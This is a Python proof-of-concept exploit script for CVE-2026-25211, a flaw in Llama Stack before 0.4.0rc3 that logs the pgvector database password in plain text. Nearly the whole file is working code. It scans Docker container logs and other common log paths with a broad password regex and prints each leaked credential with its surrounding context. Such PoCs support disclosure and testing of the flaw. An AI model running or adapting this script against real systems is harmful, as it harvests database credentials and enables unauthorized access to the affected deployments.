#!/usr/bin/env python3
#
# Exploit Title: Llama Stack < 0.4.0rc3 - pgvector Password Disclosure in Initialization Logs (Local)
# Google Dork: N/A
# Date: 2026-01-31
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Vendor Homepage: https://github.com/llamastack/llama-stack
# Software Link: https://github.com/llamastack/llama-stack
# Version: < 0.4.0rc3 (fixed in 0.4.0rc3 and later)
# Tested on: Linux (Docker / bare metal with pgvector provider)
# CVE : CVE-2026-25211
#
# Description:
#   In llama-stack versions before 0.4.0rc3, when using the pgvector vector store provider,
#   the PostgreSQL database password is logged in plaintext during server/vector store
#   initialization (visible in stdout, docker logs, Kubernetes pod logs, or configured
#   log files). An attacker with local access to these logs can extract valid database
#   credentials.
#
#   This PoC script scans common log file locations for the leaked password.
#
#   Note: This is a local vulnerability — requires access to the filesystem or logs.
#
# Usage:
#   python3 poc-local-cve-2026-25211.py
#   (Execute on the system/container where llama-stack was run)
#


"""
Local PoC for CVE-2026-25211
Searches common log files for the pgvector database password logged in plain text
"""

import re
import os
import sys
from pathlib import Path

# Common log file path patterns (adjust according to your environment)
LOG_PATH_CANDIDATES = [
    # Common Docker log locations
    "/var/lib/docker/containers/*/*-json.log",
    # General locations
    "/var/log/llama-stack.log",
    "/var/log/llama.log",
    "/var/log/llamastack/init.log",
    "/app/logs/llama-stack.log",
    # If python logging writes to file
    "./llama-stack.log",
    "./server.log",
    "./logs/init.log",
    # Other possible locations in dev or container environments
    "/tmp/llama-stack.log",
    str(Path.home()) + "/.llama/logs/server.log",
]

# Regex pattern to find passwords (can be extended)
PASSWORD_PATTERN = re.compile(
    r'(?:password|pass|pwd|db_pass|pg_password)[\'"\s:=]+["\']?([^"\',\s\\}]+)["\']?',
    re.IGNORECASE
)


def search_in_file(filepath):
    try:
        with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
            content = f.read()
            matches = PASSWORD_PATTERN.findall(content)
            if matches:
                print(f"\n[!] Potential leak found in: {filepath}")
                for pwd in matches:
                    print(f"    → Leaked password: {pwd.strip()}")
                
                # Print small context around first match
                match = PASSWORD_PATTERN.search(content)
                if match:
                    start = max(0, match.start() - 120)
                    end = match.end() + 120
                    print("\n    Context around match:")
                    print("    " + content[start:end].replace('\n', ' '))
                    print("-" * 60)
                return True
    except (PermissionError, FileNotFoundError, UnicodeDecodeError):
        pass
    return False


def main():
    print("=== Local PoC for CVE-2026-25211 (Llama Stack pgvector password leak) ===")
    print("Searches common log files for exposed pgvector password\n")

    found = False

    for pattern in LOG_PATH_CANDIDATES:
        # Basic glob support (e.g. for docker container logs)
        if '*' in pattern:
            from glob import glob
            files = glob(pattern)
        else:
            files = [pattern] if os.path.exists(pattern) else []

        for file_path in files:
            print(f"[*] Checking: {file_path}")
            if search_in_file(file_path):
                found = True

    if not found:
        print("\n[-] No leaks found in the specified paths.")
        print("    → Try adding more paths or check where the logs are actually stored")
        print("    → Example: docker logs <container_name> > temp.log  then run script on it")

    print("\nDone.")


if __name__ == "__main__":
    if os.geteuid() == 0:
        print("(Warning: running as root – make sure this is a safe test environment)")
    main()